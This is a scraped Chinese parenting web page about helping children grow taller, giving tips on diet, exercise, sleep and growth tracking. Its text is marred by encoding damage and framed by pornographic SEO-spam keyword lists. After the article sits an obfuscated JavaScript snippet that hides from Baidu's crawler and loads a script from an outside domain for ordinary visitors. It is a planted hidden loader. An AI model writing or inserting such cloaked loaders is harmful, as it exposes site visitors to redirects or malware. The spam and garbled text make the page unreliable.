久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當(dāng)前位置:首頁 > 母嬰 > 育兒知識 > 正文

兒童不長高怎么辦呢

2017-04-10 14:46:31  來源:360常識網(wǎng)   熱度:
導(dǎo)語:在日常生活中我們經(jīng)常都會聽到很多家長朋友們抱怨自己的孩子長不高的問題,因?yàn)槭艿揭恍┫忍爝z傳因素的影響而導(dǎo)致了一些小孩過矮。也有一些

在日常生活中我們經(jīng)常都會聽到很多家長朋友們抱怨自己的孩子長不高的問題,因?yàn)槭艿揭恍┫忍爝z傳因素的影響而導(dǎo)致了一些小孩過矮。也有一些后天沒有補(bǔ)充更好的營養(yǎng)而影響了孩子長個的問題。所以這就會讓家長們感到苦惱,那么兒童不長高怎么辦呢?接下來的時間請朋友們和我一起進(jìn)入到下面的學(xué)習(xí)。

父母總會碰到這種事吧,看著人家那小孩比我家那位還小卻長的那么快,我們家孩子咋就不長高呢?寶寶不長高有多方面原因造成的,那如何讓寶寶快速躥高呢?專家給了7個秘訣教你如何抓住孩子長高方法。

高招一:抓住快速生長期

人的生長通常可以分為四個階段,即胎兒期、嬰兒期、兒童期和青春期。任何一個階段的生長發(fā)育遲緩都可能會造成最終的身材矮小。其中,嬰兒期和青春發(fā)育期,是兩個生長高峰時期。嬰兒期這個階段是生長速度最快也是最容易受外界因素干擾的時期,所以家長要好好地把握關(guān)鍵時期,不要讓孩子在生長的快速期里出現(xiàn)“掉隊(duì)”的現(xiàn)象。

高招二:注重營養(yǎng)不偏食

現(xiàn)在的孩子蛋白質(zhì)攝入的不少,但微量元素常常因偏食而攝入不足。有些父母認(rèn)為,加強(qiáng)營養(yǎng)就是多吃雞鴨魚肉,可以不吃或少吃糧食。其實(shí)人體所需要的能量主要是從碳水化合物中獲得的,而蛋白質(zhì)要在能量充分的前提下才能被身體充分利用。過多蛋白質(zhì)的攝入,增加肝腎負(fù)擔(dān),易造成消化不良、便秘,反而抑制孩子的食欲。有些孩子營養(yǎng)過剩造成肥胖,容易引發(fā)性早熟,最終使身材偏矮。聰明媽媽要注意飲食的合理搭配,不要讓孩子過多地吃零食而影響重要營養(yǎng)物質(zhì)的攝入。

高招三:每天戶外一小時

體育活動是“拔高”最有效的方法。運(yùn)動可刺激生長激素分泌,促進(jìn)新陳代謝,增強(qiáng)食欲,能促進(jìn)骨的生長,使骨骼變長、變粗,骨密度增大,還能使肌纖維變粗,提高肌肉力量、速度和耐力,還可以在快速生長期預(yù)防肥胖。

高招四:充足睡眠要保證

促進(jìn)人體長高的激素——生長激素,在睡眠狀態(tài)下的分泌量是清醒狀態(tài)下分泌量的3倍左右。睡眠時肌肉放松,有利于關(guān)節(jié)和骨骼伸展。

高招五:建立生長發(fā)育檔案

結(jié)合不同時段的骨齡及預(yù)測的身高值,可判斷發(fā)育是否正常。對兒童青少年身高的不同情況,制定有針對性的指導(dǎo)治療方案。如身高不理想,而骨齡已基本成熟,即使生長空間不大,尚可通過合理指導(dǎo),發(fā)揮最后的生長潛力。

相信通過上面幾段文字內(nèi)容的學(xué)習(xí),廣大朋友們已經(jīng)對兒童長不高的應(yīng)對方式方法,心中已經(jīng)有了更加深刻的了解和認(rèn)知。當(dāng)然我也想再提醒一下大家,在兒童成長發(fā)育期,我們一定要給他們補(bǔ)充豐富的營養(yǎng),并且在學(xué)習(xí)之余,一定要把他們帶到戶外多曬太陽,并且參加體育運(yùn)動。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 成 人 免 费 网 站 | 国产精品96久久久久久久 | 精品日韩一区二区 | 日韩综合网 | 亚洲日本乱码一区二区三区 | 久久精品无码一区二区日韩av | 日本aa级毛片免费观看 | 91 中文字幕 | 污视频网站在线免费 | 日韩精品无码一区二区三区 | 伊人小视频 | 亚洲精品一区二区三区在线 | 免费黄色激情视频 | 国产在线一区观看 | 国产亚洲欧美在线 | 国产精品久久久久久久久久久久久 | 一区中文字幕 | 日韩精品视频免费专区在线播放 | 久久韩剧网| 久久国产精品99国产 | 亚洲免费观看视频 | 99视频网站 | 成人免费视频网站在线观看 | 亚洲精品网址 | 久久精品免费观看 | 日本中文字幕一区二区有码在线 | 亚洲毛片 | 特级淫片裸体免费看 | 国产成人涩涩涩视频在线观看 | 欧美日韩第一区 | 成人精品在线 | 日本不卡在线观看 | 欧美一区二区三区在线视频观看 | 麻豆专区一区二区三区四区五区 | 日韩av免费在线观看 | 国产欧美在线观看 | 麻豆freexxxx性91精品 | 在线观看国产wwwa级羞羞视频 | 午夜精品久久久久久久久久久久 | 国产精品久久久久久吹潮 | 狠狠色综合网站久久久久久久 |